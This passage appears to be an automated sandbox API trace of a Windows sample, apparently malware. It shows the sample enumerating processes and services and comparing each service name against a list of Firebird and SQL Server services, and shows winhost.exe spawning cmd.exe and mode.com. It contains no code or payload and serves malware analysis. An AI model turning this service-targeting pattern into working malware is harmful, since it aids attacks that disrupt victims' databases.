(lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0230.577] lstrlenW (lpString="SamSs") returned 5 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0230.577] lstrlenW (lpString="Schedule") returned 8 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0230.577] lstrlenW (lpString="SecurityHealthService") returned 21 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0230.577] lstrlenW (lpString="SENS") returned 4 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0230.577] lstrlenW (lpString="ShellHWDetection") returned 16 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0230.577] lstrlenW (lpString="Spooler") returned 7 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0230.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0230.577] lstrlenW (lpString="StateRepository") returned 15 [0230.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0230.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0230.577] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0230.577] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0230.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0230.578] lstrlenW (lpString="SysMain") returned 7 [0230.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0230.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0230.578] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0230.578] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0230.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0230.578] lstrlenW (lpString="SystemEventsBroker") returned 18 [0230.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0230.578] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0230.578] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0230.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0230.578] lstrlenW (lpString="Themes") returned 6 [0230.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0230.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0230.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0230.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0230.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0230.578] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0230.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0230.578] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0230.578] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0230.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0230.578] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0230.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0230.578] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0230.578] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0230.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5ded10 | out: hHeap=0x4f0000) returned 1 [0230.578] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac [0230.582] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.582] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.583] lstrlenW (lpString="System") returned 6 [0230.583] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.583] lstrlenW (lpString="smss.exe") returned 8 [0230.583] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.583] lstrlenW (lpString="csrss.exe") returned 9 [0230.583] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.584] lstrlenW (lpString="wininit.exe") returned 11 [0230.584] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.584] lstrlenW (lpString="csrss.exe") returned 9 [0230.584] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.584] lstrlenW (lpString="winlogon.exe") returned 12 [0230.584] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.585] lstrlenW (lpString="services.exe") returned 12 [0230.585] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.585] lstrlenW (lpString="lsass.exe") returned 9 [0230.585] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.585] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.585] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.586] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0230.586] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.586] lstrlenW (lpString="svchost.exe") returned 11 [0230.586] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.586] lstrlenW (lpString="svchost.exe") returned 11 [0230.586] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.587] lstrlenW (lpString="dwm.exe") returned 7 [0230.587] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.613] lstrlenW (lpString="svchost.exe") returned 11 [0230.613] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.613] lstrlenW (lpString="svchost.exe") returned 11 [0230.613] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.614] lstrlenW (lpString="svchost.exe") returned 11 [0230.614] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.614] lstrlenW (lpString="svchost.exe") returned 11 [0230.614] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.614] lstrlenW (lpString="svchost.exe") returned 11 [0230.614] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.615] lstrlenW (lpString="svchost.exe") returned 11 [0230.615] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.615] lstrlenW (lpString="svchost.exe") returned 11 [0230.615] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.615] lstrlenW (lpString="svchost.exe") returned 11 [0230.616] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.616] lstrlenW (lpString="svchost.exe") returned 11 [0230.616] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.616] lstrlenW (lpString="svchost.exe") returned 11 [0230.616] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.616] lstrlenW (lpString="spoolsv.exe") returned 11 [0230.616] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.617] lstrlenW (lpString="svchost.exe") returned 11 [0230.617] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.617] lstrlenW (lpString="audiodg.exe") returned 11 [0230.617] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.617] lstrlenW (lpString="svchost.exe") returned 11 [0230.617] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.618] lstrlenW (lpString="sihost.exe") returned 10 [0230.618] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0230.618] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0230.618] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0230.619] lstrlenW (lpString="Memory Compression") returned 18 [0230.619] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.619] lstrlenW (lpString="taskhostw.exe") returned 13 [0230.619] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0230.619] lstrlenW (lpString="userinit.exe") returned 12 [0230.619] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.620] lstrlenW (lpString="explorer.exe") returned 12 [0230.620] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.620] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0230.620] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.620] lstrlenW (lpString="SearchUI.exe") returned 12 [0230.620] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.621] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0230.621] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0230.621] lstrlenW (lpString="winhost.exe") returned 11 [0230.621] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0230.621] lstrlenW (lpString="cmd.exe") returned 7 [0230.621] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0230.621] lstrlenW (lpString="conhost.exe") returned 11 [0230.622] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0230.622] lstrlenW (lpString="mode.com") returned 8 [0230.622] Process32NextW (in: hSnapshot=0x4ac, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0230.622] CloseHandle (hObject=0x4ac) returned 1 [0230.622] Sleep (dwMilliseconds=0x1f4) [0231.751] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb530 [0231.752] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0231.752] GetLastError () returned 0xea [0231.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x5ded10 [0231.753] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5ded10, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5ded10, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0231.753] CloseServiceHandle (hSCObject=0x40eb530) returned 1 [0231.753] lstrlenW (lpString="Appinfo") returned 7 [0231.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0231.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0231.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0231.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0231.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0231.754] lstrlenW (lpString="AppXSvc") returned 7 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0231.754] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.754] lstrlenW (lpString="Audiosrv") returned 8 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0231.754] lstrlenW (lpString="BFE") returned 3 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.754] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0231.754] lstrlenW (lpString="CDPSvc") returned 6 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0231.754] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0231.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0231.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0231.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0231.754] lstrlenW (lpString="CryptSvc") returned 8 [0231.754] 